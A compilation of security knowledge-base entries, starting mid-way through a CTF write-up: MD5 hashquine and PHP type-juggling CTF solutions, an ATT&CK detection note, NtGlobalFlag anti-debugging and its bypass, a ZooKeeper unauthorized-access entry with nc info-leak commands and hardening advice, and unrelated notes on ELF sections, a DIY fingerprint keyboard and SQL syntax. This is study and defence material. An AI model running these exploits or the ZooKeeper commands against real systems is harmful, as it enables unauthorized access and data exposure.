not(TEXT_SEARCH.encode().lower() in img_content.lower() and \ TEXT_SEARCH in image_text): out_text += f"You should include the following string in your GIF -> {TEXT_SEARCH}<br>" elif md5_str in image_text: out_text += f"OK take it!: {FLAG}<br>" else: out_text += ":((((<br>" os.remove(saved_jpg_path) return render_template("index.html", run_results=out_text, img_processing=img_processing) except Exception as e: return render_template("index.html", img_processing=f":(((((((((((((((((((") def main(): with app.app_context(): app.run(host="0.0.0.0", debug=True) if '__main__' == __name__: main() ``` ## Solution This was a cool challenge related to MD5 collisions. The attached script specifies exactly what we need to do in order to get the flag - provide a GIF that: * Displays the string "INTENT, give me the flag" in the image itself * Contains the string "INTENT, give me the flag" in its binary (lowercase allowed) * Displays its own MD5 hash Wait, what? DISPLAYS ITS OWN MD5 HASH? Well, thankfully someone has already provided a PoC for a GIF displaying its own hash. The very interesting writeup can be found [here](https://www.rogdham.net/2017/03/12/gif-md5-hashquine.en) with a link to the code. In short, we need to: 1. Modify `background.gif` to include our requested text (and remove the rest) 2. Modify `generate.py` to include our text in the `comment` 3. Use larger and more OCR-friendly fonts (since it turns out that `tesseract` is practically half-blind) a. [This post](https://superuser.com/questions/1096425/optimal-font-for-tesseract-specifically-the-net-wrapper/1543382#1543382) contains recommendations. We used `Roboto` bold except for some characters which the OCR would always misinterpret, making us fallback to `DejaVu_Serif`. We can then run the script by simply calling `make` to generate a matching GIF. The GIF generation process is very slow (around 30 minutes), which makes it extremely important to get the logic right, since every miss is very painful. The original PoC generates just one GIF. To overcome the limited OCR capabilities, we can modify it to generate a large amount of GIFs after calculating the needed collisions, as the time-consuming part is the collision generation. For example, by modifying the bruteforcing part to something like: ```python print('Bruteforcing final md5...') generated_gif_copy = generated_gif[:] res = [] generated_gifs = [] for garbage in range(1 << 32): # 32 bits of bf should be enough generated_gif = generated_gif_copy[:] end = struct.pack('<BIBB', 4, garbage, # comment sub-block 0, # end comment 0x3b) # trailer new_md5 = current_md5.copy() new_md5.update(end) for mask_char, md5_char in zip(self.md5_mask, new_md5.hexdigest()): if mask_char != ' ' and mask_char != md5_char: #break generated_gifs.append(generated_gif) else: generated_gif += end #break generated_gifs.append(generated_gif) if len(generated_gifs) > 5000: break else: raise ValueError('Did not find a GIF matching the md5 mask') for generated_gif in generated_gifs: # replace colls to show md5 print('Target md5:', md5(generated_gif).hexdigest()) for char_pos, char in enumerate(md5(generated_gif).hexdigest()): if self.md5_mask[char_pos] != ' ': continue coll_pos, coll = alternatives[char_pos, int(char, 16)] generated_gif = ( generated_gif[:coll_pos] + coll + generated_gif[coll_pos + len(coll):] ) print('Final md5: ', md5(generated_gif).hexdigest()) res.append(generated_gif) ``` An example GIF that matches the rules: ![](images/hashquine.gif) Submitting it gives us the flag: ```console ┌──(user@kali)-[/media/sf_CTFs/intent/md5(coll)] └─$ curl 'https://intent-md5coll.chals.io/?imgurl=https%3A%2F%2Fraw.githubusercontent.com%2FDvd848%2FCTFs%2Fmaster%2F2022_IntentCTF%2Fimages%2Fhashquine.gif' -s | grep INTENT -B 1 -A 2 Run result: [-] Got 185149 bytes for image type 'GIF' with MD5 hash: 1b03dd29be235e4df115476bc3c76f01<br>OK take it!: <b>INTENT{md5(A)=md5(B)->md5(A+C)=md5(B+C)}</b><br> <br> OCR SAYS: INTENT, give me the flag 1b03dd29be235e4df115476bc3c76f01 ```
sec-knowleage
# saltfish Web ## Description: > "I have been told that the best crackers in the world can do this under 60 minutes but unfortunately I need someone who can do this under 60 seconds." - Gabriel ## Solution: The contents of the website is: ```php <?php require_once('flag.php'); if ($_ = @$_GET['pass']) { $ua = $_SERVER['HTTP_USER_AGENT']; if (md5($_) + $_[0] == md5($ua)) { if ($_[0] == md5($_[0] . $flag)[0]) { echo $flag; } } } else { highlight_file(__FILE__); } ``` Let `p` denote the first letter of the password. The MD5 of the password plus (note: in PHP this is treated as addition, not string append which is ".") `p` need to be equal the MD5 of the string sent by the user agent. Then, `p` needs to be equal to the first letter of the MD5 of `p` concatenated with the flag. The simplest strategy is to just brute force: ```python for x in string.ascii_letters: password = x r = requests.get('http://35.207.89.211/?pass={}'.format(password), headers={'User-Agent': password}) print(r.text) ``` The flag is printed after the second attempt: ``` <br /> <b>Warning</b>: A non-numeric value encountered in <b>/var/www/html/index.php</b> on line <b>5</b><br /> <br /> <b>Warning</b>: A non-numeric value encountered in <b>/var/www/html/index.php</b> on line <b>5</b><br /> 35c3_password_saltf1sh_30_seconds_max ```
sec-knowleage
# T1071-001-应用层协议-网络协议 ## 来自ATT&CK描述 攻击者可以使用与Web流量相关的应用层协议进行通信,通过与现有流量混合来进行逃避检测或网络过滤。远程系统的命令,通常是这些命令的结果,将嵌入客户端和服务器之间的协议流量中。 承载Web流量的HTTP和HTTPS等协议在环境中可能非常常见。HTTP/S数据包有许多可以隐藏数据的字段和标头。攻击者可能滥用这些协议与受害网络中受其控制的系统进行通信,同时模仿正常的预期流量。 ## 测试案例 最简单的案例就是哥斯拉webshell管理工具、冰蝎webshell管理工具等 ## 检测日志 network ## 测试复现 参考以下章节:[[2020-04-18-Threathunting-bingxie-webshell]] [[T1505-003-windows下webshell检测]] [[T1505-003-web服务产生的可疑进程]] ## 测试留痕 暂无,仅提供检测规则相关的日志示例 ## 检测规则/思路 ### 建议 分析不常见的网络数据(例如,客户端发送的数据明显多于从服务器接收的数据)。使用通常没有网络通信或以前从未见过的网络的进程是可疑的。分析数据包内容以检测不遵循有关语法、结构或任何其他可变攻击者可以用来隐藏数据的预期协议标准的应用层协议。 监控进出已知不良或可疑域的网络流量。 ## 相关TIP [[T1071.002-win-内网FTP链接到公网行为]] [[T1071.004-win-内网主机向公网DNS发起可疑请求行为]] ## 参考推荐 MITRE-ATT&CK-T1071-001 <https://attack.mitre.org/techniques/T1071/001/>
sec-knowleage
# NtGlobalFlag ## 关于NtGlobalFlag 在32位机器上, `NtGlobalFlag`字段位于`PEB`(进程环境块)`0x68`的偏移处, 64位机器则是在偏移`0xBC`位置. 该字段的默认值为0. 当调试器正在运行时, 该字段会被设置为一个特定的值. 尽管该值并不能十分可信地表明某个调试器真的有在运行, 但该字段常出于该目的而被使用. 该字段包含有一系列的标志位. 由调试器创建的进程会设置以下标志位: ```c FLG_HEAP_ENABLE_TAIL_CHECK (0x10) FLG_HEAP_ENABLE_FREE_CHECK (0x20) FLG_HEAP_VALIDATE_PARAMETERS (0x40) ``` ## 检测代码 因此, 可以检查这几个标志位来检测调试器是否存在. 比如用形如以下的32位的代码在32位机器上进行检测: ``` asm mov eax, fs:[30h] ;Process Environment Block mov al, [eax+68h] ;NtGlobalFlag and al, 70h cmp al, 70h je being_debugged ``` 以下是64位的代码在64位机器上的检测代码: ``` asm push 60h pop rsi gs:lodsq ;Process Environment Block mov al, [rsi*2+rax-14h] ;NtGlobalFlag and al, 70h cmp al, 70h je being_debugged ``` 要注意的是, 如果是一个32位程序在64位机器上运行, 那么实际上会存在两个PEB: 一个是32位部分的而另一个是64位. 64位的PEB的对应字段也会像在32位的那样而改变. 于是我们就还有以下的, 用32位的代码检测64位机器环境: ``` mov eax, fs:[30h] ; Process Environment Block ;64-bit Process Environment Block ;follows 32-bit Process Environment Block mov al, [eax+10bch] ;NtGlobalFlag and al, 70h cmp al, 70h je being_debugged ``` 切记不要在没有掩盖其他位的情况下直接进行比较, 那样会无法检测到调试器. 在`ExeCryptor`就有使用`NtGlobalFlag`来检测调试器, 不过`NtGlobalFlag`的那3个标志位只有当程序是`由调试器创建`, 而非`由调试器附加`上去的进程时, 才会被设置. ## 改变NtGlobalFlag初值 当然绕过这种检测的方法也十分简单, 那就是调试器想办法将该字段重新设置为0. 然而这个默认的初值可以用以下四种方法任意一种改变: 1. 注册表`HKLM\System\CurrentControlSet\Control\SessionManager`的`GlobalFlag`的值会替换进行`NtGlobalFlag`字段. 尽管它随后还可能由Windows改变(以下会介绍), 注册表键值会对系统中所有进程产生影响并在重启后生效. 当然这也产生了另一种检测调试器的方法: 如果一个调试器为了隐藏自己, 而将注册表中的键值复制到`NtGlobalFlag`字段中, 然而注册表中的键值事先已经替换并且尚未重启生效. 那么调试器只是复制了一个假的值, 而非真正需要的那个. 如果程序知道真正的值而非注册表中的那个假的值, 那么就可以察觉到调试器的存在. 当然调试器也可以运行其他进程然后查询`NtGlobalFlag`字段来获取真正的值. 2. 依旧是`GlobalFlag`, 不过这里的是`HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<filename>`. (映像劫持), 这里需要将`<filename>`替换为需要更改的可执行文件的文件名(不需要指定路径). 设置好`GlobalFlag`后, 系统会将其值覆盖到`NtGlobalFlag`字段(只单独为指定的进程覆盖). 不过也还是可以再次由Windows改变(见下). 3. 在加载配置表(`Load Configuration Table`)的两个字段: `GlobalFlagsClear`和`GlobalFlagsSet`. `GlobalFlagsClear`列出需要清空的标志位, 而`GlobalFlagsSet`则列出需要设置的标志位, 这些设置会在`GlobalFlag`应用之后再生效, 因此它可以覆盖掉`GlobalFlag`指定的值. 然而它无法覆盖掉Windows指定设置的标志位. 比如设置`FLG_USER_STACK_TRACE_DB (0x1000)`可以让Windows设置`FLG_HEAP_VALIDATE_PARAMETERS (0x40)`标志位, 就算`FLG_HEAP_VALIDATE_PARAMETERS`在加载配置表(`Load Configuration Table`)中被清空了, Windows也会在随后的进程加载过程中重新设置. 4. 当调试器创建进程时, Windows会做出一些改变. 通过设置环境变量中的`_NO_DEBUG_HEAP`, `NtGlobalFlag`将会因为调试器而不会设置其中的3个堆的标志位. 当然它们依旧可以通过`GlobalFlag`或加载配置表中的`GlobalFlagsSet`继续设置. ## 如何绕过检测? 有以下3种方法来绕过`NtGlobalFlag`的检测 * 手动修改标志位的值(`FLG_HEAP_ENABLE_TAIL_CHECK`, `FLG_HEAP_ENABLE_FREE_CHECK`, `FLG_HEAP_VALIDATE_PARAMETERS`) * 在Ollydbg中使用`hide-debug`插件 * 在Windbg禁用调试堆的方式启动程序(`windbg -hd program.exe`) ## 手动绕过示例 以下是一个演示如何手动绕过检测的示例 ``` asm .text:00403594 64 A1 30 00 00 00 mov eax, large fs:30h ; PEB struct loaded into EAX .text:0040359A db 3Eh ; IDA Pro display error (the byte is actually used in the next instruction) .text:0040359A 3E 8B 40 68 mov eax, [eax+68h] ; NtGlobalFlag (offset 0x68 relative to PEB) saved to EAX .text:0040359E 83 E8 70 sub eax, 70h ; Value 0x70 corresponds to all flags on (FLG_HEAP_ENABLE_TAIL_CHECK, FLG_HEAP_ENABLE_FREE_CHECK, FLG_HEAP_VALIDATE_PARAMETERS) .text:004035A1 89 85 D8 E7 FF FF mov [ebp+var_1828], eax .text:004035A7 83 BD D8 E7 FF FF 00 cmp [ebp+var_1828], 0 ; Check whether 3 debug flags were on (result of substraction should be 0 if debugged) .text:004035AE 75 05 jnz short loc_4035B5 ; No debugger, program continues... .text:004035B0 E8 4B DA FF FF call s_selfDelete ; ...else, malware deleted ``` 在Ollydbg中在偏移`0x40359A`设置断点, 运行程序触发断点. 然后打开`CommandLine`插件用`dump fs:[30]+0x68`dump出`NtGlobalFlag `的内容 右键选择`Binary->Fill with 00's`将值`0x70`替换为`0x00`即可. ## 参考链接 * [The "Ultimate" Anti-Debugging Reference](http://anti-reversing.com/Downloads/Anti-Reversing/The_Ultimate_Anti-Reversing_Reference.pdf) * [PEB-Process-Environment-Block/NtGlobalFlag](https://www.aldeid.com/wiki/PEB-Process-Environment-Block/NtGlobalFlag)
sec-knowleage
# Code Section ## 概述 在动态链接器创建了进程镜像,并且执行了重定位后,每一个共享目标文件都有机会去执行一些初始化的代码。所有的共享目标文件会在可执行文件获得权限之前进行初始化。 在调用目标文件 A 的初始化代码之前,会首先调用所有 A 依赖的共享目标文件的初始化代码。比如说,如果目标文件 A 依赖于另外一个目标文件 B,那么 B 就会在 A 的依赖列表中,这会被记录在动态结构的 DT_NEEDED 中。循环依赖的初始化是未被定义的。 目标文件的初始化通过递归每一个被依赖的表项来完成。只有当一个目标文件依赖的所有的目标文件都处理完自己的依赖后,这个目标文件才会执行初始化代码。 下面的例子解释了两种正确的可以用来生成给定例子的顺序。在这个例子中,a.out 依赖于b,d 以及 e。b依赖于d 和 f,并且 d 依赖于 e 和 g。根据这个信息,我们可以画出如下的依赖图。那么我们上面所说的算法,将允许我们按照如下的顺序进行初始化。 类似的,共享目标文件也会有结束的函数,这些函数在进程完成自己的终止序列时通过 atexit 机制来执行。动态链接器调用终止函数的顺序恰好与上面初始化的顺序相反。动态链接器将会确保它只会执行初始化或者终止函数最多一次。 共享目标文件通过动态结构中的 DT_INIT 和 DT_FINI 来指定它们的初始化以及结束函数。在一般情况下,这些函数在.init节与.fini节中。 注意: > 尽管ateixt终止处理函数通常来说会被执行,但它并不会保证在程序消亡时被执行。更特殊的是,如果程序调用了_exit函数或者进程由于接收到一个信号后消亡了,那么它将不会执行对应的函数。 动态链接器并不负责调用可执行文件的 .init 节或者利用 atexit 注册可执行文件的 .fini 节。由用户通过 atexit 机制指定的终止函数必须在所有共享目标文件的结束函数前执行。 ## .init & .init_array 此节区包含可执行指令,是进程初始化代码的一部分。程序开始执行时,系统会在开始调用主程序入口(通常指 C 语言的 main 函数)前执行这些代码。 ## .text 此节区包含程序的可执行指令。 ## .fini & .fini_array 此节区包含可执行的指令,是进程终止代码的一部分。程序正常退出时,系统将执行这里的代码。
sec-knowleage
# DIY键盘嵌入指纹识别模块实验记录 > 文章作者 [Sarah-Briggs](https://github.com/Sarah-Briggs) & [Atomic-Crash](https://github.com/Atomic-Crash) & [r0fus0d](https://github.com/No-Github) --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- 下面是原作者的文章链接 - https://www.ednchina.com/news/201906211001.html 感兴趣的朋友可以先看一下原帖,然后再看这篇文章,也许会有更多的帮助。 --- ## 前期准备 按照原作者的设计,我们准备了下列材料: 1. USB HUB 一个 2. Arduino pro mini 开发板一块 3. 指纹识别模块 (FPM3X) 一个 4. 键盘 一把 (普通办公键盘或机械键盘即可,静电容、光轴键盘由于触发原理异于常规键盘,电路构造和通讯协议都可能存在差异,所以这里只考虑常规构造的键盘) 5. 杜邦线、热缩管若干 **为了能完全一致的实现本次 DIY,所选用的指纹识别模块和 Arduino pro mini 等,都和原作者使用的是同型号同规格** (ps:这个指纹识别模块在某宝只有一家卖,还巨他妈贵,在某宝的相关推荐中我们还发现:一个成品的无线直插式 Windows 指纹解锁模块才 59 包邮) --- ## 制作过程中所途遇到的麻烦 1. 首先不得不吐槽一波:Arduino pro mini 这个型号的开发板,小组采购的第一块 pro mini 到货以后,拆开包装拿来烧录程序, 在正常情况下烧录时是会亮三个灯的(也是后来知道的),结果这第一块板永远只亮一个灯,问卖家之后,答曰不提供任何技术支持。。。 在网上也只能零星的找到 mini 系列其他各种冷门型号的电路图或电气特性说明书。google 查阅还发现,Arduino pro mini 还分为红色底板和蓝色底板两种型号(即海外版和国内版)。 机智的我又询问了某宝上其他出售 pro mini 型号板子的卖家,竟然统一得到回复:不提供任何技术支持,然后随便发了个过期的或者牛头不对马嘴的文档下载链接。 直到我翻看买家评论,有位大哥说自己买了3块只有一块是好的,想到会不会是只买了一块正好中奖拿了块坏掉的,我当即另外找了3家店铺下单各买了一块 pro mini。 由于这种开发板都是十几块钱的小物件,商家为了节省成本通常都选择用便宜的快递渠道,某 ms 和 dayday 快递的派件效率真的是"惊人", 当然这也算是我们的采购失误,事先没考虑物流因素,整个 DIY 周期的一半时间都是花费在 "等快递" 上,往往等东西到了,前一天进行到的步骤还要重来。 果然,后面买来的板子都是完好的,程序烧录和代码测试都能完美通过。 2. 还有就是国内某些无良作坊,数据线不按照标准生产,竟然把表示电源正负极颜色的线胡乱接,完全违背 "红正黑负" 的基本电气常识,导致后期直接将 USB HUB 直接烧毁。 按理说,用万用表的正负表笔触碰对应颜色的电线,得到测量值应该是个 +5V 左右的电压值(万用表当然是好的啦,一直都有在使用) 当时通电测试之前没考虑过这一项,因为觉得20块的扩展线而已,又没有什么技术含量,结果哪知道还真有憨批厂商连颜色都不按标准来! **"红正黑负"在电气行业中是最基本的行业规格,反接的话相当于交警告诉你"红灯行,绿灯停"一样离谱。** 刚通电之后就产生了一股烧焦的臭味,怕反烧笔记本电脑赶紧就把所有的连接处都拆断,后来逐一排查时才发现居然坏在这样一个不起眼连接点上,然而 USB HUB 已经烧坏,不可逆转。 这些作坊 (生产厂商) 真的非常奇妙,以后但凡是用非知名品牌的线材前,一定要先测一下! --- ## 正文 我们先按照原作者的设计思想复现电路,仔细分解后得知:键盘只是个载体,该指纹识别模块不和键盘输入输出有什么其他交互,纯粹和键盘的数据线并行来与电脑通信; FPM3X 传感器将识别到的二进制信息 (指纹) 被 Arduino 板编码成 PIN 密码后,模拟输入电脑完成解锁,当然解锁的密码是事先设置好的。 比如:张三的电脑解锁密码是 123456,张三录入了自己的中指指纹 A,指纹 A 的数据被 Arduino 模拟成 "按下 123456 再按回车"。 Arduino pro mini 开发板和其中的程序代码负责模拟成 HID 操作,而 HUB 的功能就是使两个 HID 设备 (键盘实体和 "指纹 + Arduino 板") 共用一个总线来和电脑通信。 以上是手绘的图,所以我们将电路剥离开来,先测试指纹识别模块的功能,如果能完成指纹识别模块的单独运作,这个电路就基本上完成了。 --- ## 原电路复现 然而具体的接线方法原作者并没有详细说明,所上传的接线图片也较为模糊 (指纹模块和 Arduino 板子的部分也被遮挡)。 参考作者 Arduino 程序代码的注释发现,并没有对 A0 类的输出口进行定义,所以也没用这类口,VCC 和 GND 正常连接,黄绿线分别接 Arduino 的 TX 端和 RX 端 (后续也进行过多次黄绿线的对调测试)。 > TX 是数据传入端 (transmit),RX 是数据接收端 (respond),两者只有电平信号的输送,即使反接也不足以烧坏电路,顶多就是不发生通信 如图,代码编译正常,烧录成功。 最后我们打开串口调试助手,进行测试。 这里说明一下,这里回包的"Unknow error"并不是实际意义上的未知错误,而是原作者程序代码里"报错信息"的返回值命名为"Unknow error"。 在串口调试助手中按作者的方法对其发送"A,3 "后,回包为"Please enter the ID you want to enroll",说实话,实验到这一步得到这个反馈让我们感到十分欣慰, 因为这个回包的内容是提示让我们在识别模块上按下指纹,好录入解锁的"通行证",我激动的伸出中指抚摸在指纹识别模块上,但是始终没有出现像原作者所说的返回一个"ok"的提示。 后期无论我们等待多久、如何尝试改变手指触碰角度和方向、换接黄绿线、调整电压、重布线、转接TTL……永远都卡在了"录入指纹成功"的这一步上。 指纹识别模块的黄绿线和 RX、TX 的两种接法均未能实现。 --- ## 总结失败的原因 在基本的电路复现中,最大的问题在于:录入指纹时,识别模块永远无法返还一个"成功"的回馈。 即使是单独用上位机程序测试硬件模块时,模块也是可以正常录入指纹图像信息的。 至于为什么没有按照原作者给出的设定给出相应的反馈,推测是以下几点: 1. 电路硬件部分还是有缺失 2. 软硬件匹配出现问题, 3. 某个步骤的做法不同但作者未说明 4. 作者可能是指纹模块店的老板,或是希望大家在知乎通过这篇文章对他本人发起付费咨询 另外,加接 TTL 通信协议转换模块也是行不通的,这会导致 Arduino pro mini 和 USB 转 TTL 模块 不能进行匹配的数据交互。
sec-knowleage
# Journey to the Center of the File Grab Bag, 100 points ## Description: > W(e( (h(a(v(e( (t(o( (g(o( (d(e(e(p(e(r))))))))))))))))))) A file was attached. ## Solution: Let's inspect the file: ```console # file flag flag: bzip2 compressed data, block size = 400k ``` Extract it and inspect the output: ```console root@kali:/media/sf_CTFs/mitre/Center_of_File# 7z x flag 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_IL,Utf16=on,HugeFiles=on,64 bits,1 CPU Intel(R) Core(TM) i5-4330M CPU @ 2.80GHz (306C3),ASM,AES-NI) Scanning the drive for archives: 1 file, 4681715 bytes (4572 KiB) Extracting archive: flag -- Path = flag Type = bzip2 Everything is Ok Size: 4655443 Compressed: 4681715 root@kali:/media/sf_CTFs/mitre/Center_of_File# ls flag flag~ root@kali:/media/sf_CTFs/mitre/Center_of_File# file flag~ flag~: Zip archive data, at least v2.0 to extract ``` Extract that: ```console root@kali:/media/sf_CTFs/mitre/Center_of_File# 7z x flag~ 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_IL,Utf16=on,HugeFiles=on,64 bits,1 CPU Intel(R) Core(TM) i5-4330M CPU @ 2.80GHz (306C3),ASM,AES-NI) Scanning the drive for archives: 1 file, 4655443 bytes (4547 KiB) Extracting archive: flag~ -- Path = flag~ Type = zip Physical Size = 4655443 Would you like to replace the existing file: Path: ./flag Size: 4681715 bytes (4572 KiB) Modified: 2019-01-22 23:13:30 with the file from archive: Path: flag Size: 4654627 bytes (4546 KiB) Modified: 2018-11-29 12:43:16 ? (Y)es / (N)o / (A)lways / (S)kip all / A(u)to rename all / (Q)uit? u Everything is Ok Size: 4654627 Compressed: 4655443 root@kali:/media/sf_CTFs/mitre/Center_of_File# ls flag flag~ flag_1 root@kali:/media/sf_CTFs/mitre/Center_of_File# file flag_1 flag_1: bzip2 compressed data, block size = 400k ``` We have a pattern here. Let's write a Python script to recursively extract any file we encounter: ```python import os import time import shutil import subprocess WORKING_DIR = "out" filename = "flag" if os.path.exists(WORKING_DIR): shutil.rmtree(WORKING_DIR) time.sleep(1) os.mkdir(WORKING_DIR) shutil.copy(filename, WORKING_DIR) os.chdir(WORKING_DIR) while True: print ("Processing '{}'".format(filename)) new_filename = "{}_{}".format(filename, int(time.time())) os.rename(filename, new_filename) filename = new_filename file_info = subprocess.check_output(["file", filename], encoding='ASCII') remove_original = False if "zip" in file_info.lower(): subprocess.call(["7z", "x", filename], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL) remove_original = True elif "ASCII text" in file_info: with open (filename) as f: contents = f.read() if "MCA{" in contents: print (contents) break else: with open("{}_new".format(filename), "wb", 0) as out: subprocess.call(["base64", "-d", filename], stdout=out) #os.system("base64 -d {f} > {f}.new".format(f = filename)) remove_original = True else: print ("Unhandled format:") print (file_info) break if remove_original: os.remove(filename) filename = subprocess.check_output(["ls"], encoding='ASCII').rstrip() ``` Running it produces: ```console [...] Processing 'flag_1551555318_new' Processing 'flag' Processing 'flag_1551555318~' Processing 'flag_1551555318~_1551555318_new' Processing 'flag_1551555318~_1551555318_new_1551555318~' Processing 'flag_1551555318~_1551555318_new_1551555318~_1551555318~' Processing 'flag_1551555318~_1551555318_new_1551555318~_1551555318~_1551555318~' Processing 'flag_1551555318~_1551555318_new_1551555318~_1551555318~_1551555318~_1551555318_new' Processing 'flag_1551555318~_1551555318_new_1551555318~_1551555318~_1551555318~_1551555318_new_1551555318~' Processing 'flag_1551555318~_1551555318_new_1551555318~_1551555318~_1551555318~_1551555318_new_1551555318~_1551555318_new' Processing 'flag_1551555318~_1551555318_new_1551555318~_1551555318~_1551555318~_1551555318_new_1551555318~_1551555318_new_1551555318~' Processing 'flag_1551555318~_1551555318_new_1551555318~_1551555318~_1551555318~_1551555318_new_1551555318~_1551555318_new_1551555318~_1551555318_new' MCA{Wh0_Needz_File_Extensions?} ```
sec-knowleage
# 安全开发 - 方案笔记 ### Android 0day漏洞检测沙箱系统的设计与实现 来自2019看雪安全开发者峰会 > Android 0day漏洞检测沙箱系统的设计与实现——Moony Li of TrendMicro ### 实现思路 ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200509113434.png) 图: 总体实现思路 ![](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20200509113623.png) 图:内部视角
sec-knowleage
# ZooKeeper未授权访问漏洞 ## 漏洞描述 ZooKeeper默认开启在2181端口,在未进行任何访问控制情况下,攻击者可通过执行envi命令获得系统大量的敏感信息,包括系统名称、Java环境。 ## 环境搭建 Zookeeper的默认开放端口是2181 ```bash wget https://archive.apache.org/dist/zookeeper/zookeeper-3.4.10/zookeeper-3.4.10.tar.gz tar -zxvf zookeepre-3.4.10.tar.gz cd zookeeper-3.4.10/ cd conf/ vi zoo.cfg ### 配置单机模式 tickTime=2000 dataDir=/tmp/zookeeper/data dataLogDir=/tmp/zookeeper/logs clientPort=2181 bin/zkServer.sh start //启动 ### 启动client连接server bin/zkCli.sh -server localhost:2181 ``` ![image-20220519151558630](../../.gitbook/assets/image-20220519151558630.png) ## 漏洞利用 执行以下命令即可远程获取该服务器的环境: ``` echo envi | nc 192.168.32.131 2181 ``` ![image-20220519151727236](../../.gitbook/assets/image-20220519151727236.png) stat:列出关于性能和连接的客户端的统计信息。 ``` echo stat |nc 192.168.32.131 2181 ``` ![image-20220519152001117](../../.gitbook/assets/image-20220519152001117.png) ruok:测试服务器是否运行在非错误状态。 `echo ruok |ncat 127.0.0.1 2181` reqs:列出未完成的请求。 `echo reqs |ncat 127.0.0.1 2181` envi:打印有关服务环境的详细信息。 `echo envi |ncat 127.0.0.1 2181` dump:列出未完成的会话和临时节点。 `echo dump |ncat 127.0.0.1 2181` ## 修复建议 禁止把Zookeeper直接暴露在公网 添加访问控制,根据情况选择对应方式(认证用户,用户名密码) ### 绑定指定IP访问 (推荐): 1、登陆zookeeper ```ruby ./zkCli.sh -server <IP>:<port> ``` 2、查看当前权限: ```undefined getAcl / ``` 3、添加可访问IP ```undefined setAcl / ip:192.168.1.xx:cdrwa,ip:192.168.1.xx:cdrwa ``` 4、查看是否正常添加 ```undefined getAcl / ``` 未授权也可以连接,但是查看节点时会报错`KeeperErrorCode = NoAuth for /`,localhost都不行,必须填可访问IP,才能访问。 ```csharp [zk: localhost:2181(CONNECTED) 0] ls / KeeperErrorCode = NoAuth for / [zk: localhost:2181(CONNECTED) 1] ``` **回退办法:** 使用之前设置的IP进行访问: ```ruby ./zkCli.sh -server <IP>:<port> ``` 设置为所有人可访问: ```undefined setAcl / world:anyone:cdrwa ``` ### 设置身份验证 为ZooKeeper配置相应的访问权限。 1)增加一个认证用户 addauth digest 用户名:密码明文 ```css addauth digest user1:password1 ``` 2)设置权限 setAcl /path auth:用户名:密码明文:权限 setAcl /path digest:用户名:密码密文:权限 ```bash setAcl /test auth:user1:password1:cdrwa ``` 3)查看Acl设置 ```undefined getAcl /path ```
sec-knowleage
# SQL 语法 <!-- GFM-TOC --> * [SQL 语法](#sql-语法) * [一、基础](#一基础) * [二、创建表](#二创建表) * [三、修改表](#三修改表) * [四、插入](#四插入) * [五、更新](#五更新) * [六、删除](#六删除) * [七、查询](#七查询) * [DISTINCT](#distinct) * [LIMIT](#limit) * [八、排序](#八排序) * [九、过滤](#九过滤) * [十、通配符](#十通配符) * [十一、计算字段](#十一计算字段) * [十二、函数](#十二函数) * [汇总](#汇总) * [文本处理](#文本处理) * [日期和时间处理](#日期和时间处理) * [数值处理](#数值处理) * [十三、分组](#十三分组) * [十四、子查询](#十四子查询) * [十五、连接](#十五连接) * [内连接](#内连接) * [自连接](#自连接) * [自然连接](#自然连接) * [外连接](#外连接) * [十六、组合查询](#十六组合查询) * [十七、视图](#十七视图) * [十八、存储过程](#十八存储过程) * [十九、游标](#十九游标) * [二十、触发器](#二十触发器) * [二十一、事务管理](#二十一事务管理) * [二十二、字符集](#二十二字符集) * [二十三、权限管理](#二十三权限管理) * [参考资料](#参考资料) <!-- GFM-TOC --> ## 一、基础 模式定义了数据如何存储、存储什么样的数据以及数据如何分解等信息,数据库和表都有模式。 主键的值不允许修改,也不允许复用(不能将已经删除的主键值赋给新数据行的主键)。 SQL(Structured Query Language),标准 SQL 由 ANSI 标准委员会管理,从而称为 ANSI SQL。各个 DBMS 都有自己的实现,如 PL/SQL、Transact-SQL 等。 SQL 语句不区分大小写,但是数据库表名、列名和值是否区分依赖于具体的 DBMS 以及配置。 SQL 支持以下三种注释: ```sql ## 注释 SELECT * FROM mytable; -- 注释 /* 注释1 注释2 */ ``` 数据库创建与使用: ```sql CREATE DATABASE test; USE test; ``` ## 二、创建表 ```sql CREATE TABLE mytable ( # int 类型,不为空,自增 id INT NOT NULL AUTO_INCREMENT, # int 类型,不可为空,默认值为 1,不为空 col1 INT NOT NULL DEFAULT 1, # 变长字符串类型,最长为 45 个字符,可以为空 col2 VARCHAR(45) NULL, # 日期类型,可为空 col3 DATE NULL, # 设置主键为 id PRIMARY KEY (`id`)); ``` ## 三、修改表 添加列 ```sql ALTER TABLE mytable ADD col CHAR(20); ``` 删除列 ```sql ALTER TABLE mytable DROP COLUMN col; ``` 删除表 ```sql DROP TABLE mytable; ``` ## 四、插入 普通插入 ```sql INSERT INTO mytable(col1, col2) VALUES(val1, val2); ``` 插入检索出来的数据 ```sql INSERT INTO mytable1(col1, col2) SELECT col1, col2 FROM mytable2; ``` 将一个表的内容插入到一个新表 ```sql CREATE TABLE newtable AS SELECT * FROM mytable; ``` ## 五、更新 ```sql UPDATE mytable SET col = val WHERE id = 1; ``` ## 六、删除 ```sql DELETE FROM mytable WHERE id = 1; ``` **TRUNCATE TABLE** 可以清空表,也就是删除所有行。 ```sql TRUNCATE TABLE mytable; ``` 使用更新和删除操作时一定要用 WHERE 子句,不然会把整张表的数据都破坏。可以先用 SELECT 语句进行测试,防止错误删除。 ## 七、查询 ### DISTINCT 相同值只会出现一次。它作用于所有列,也就是说所有列的值都相同才算相同。 ```sql SELECT DISTINCT col1, col2 FROM mytable; ``` ### LIMIT 限制返回的行数。可以有两个参数,第一个参数为起始行,从 0 开始;第二个参数为返回的总行数。 返回前 5 行: ```sql SELECT * FROM mytable LIMIT 5; ``` ```sql SELECT * FROM mytable LIMIT 0, 5; ``` 返回第 3 \~ 5 行: ```sql SELECT * FROM mytable LIMIT 2, 3; ``` ## 八、排序 - **ASC** :升序(默认) - **DESC** :降序 可以按多个列进行排序,并且为每个列指定不同的排序方式: ```sql SELECT * FROM mytable ORDER BY col1 DESC, col2 ASC; 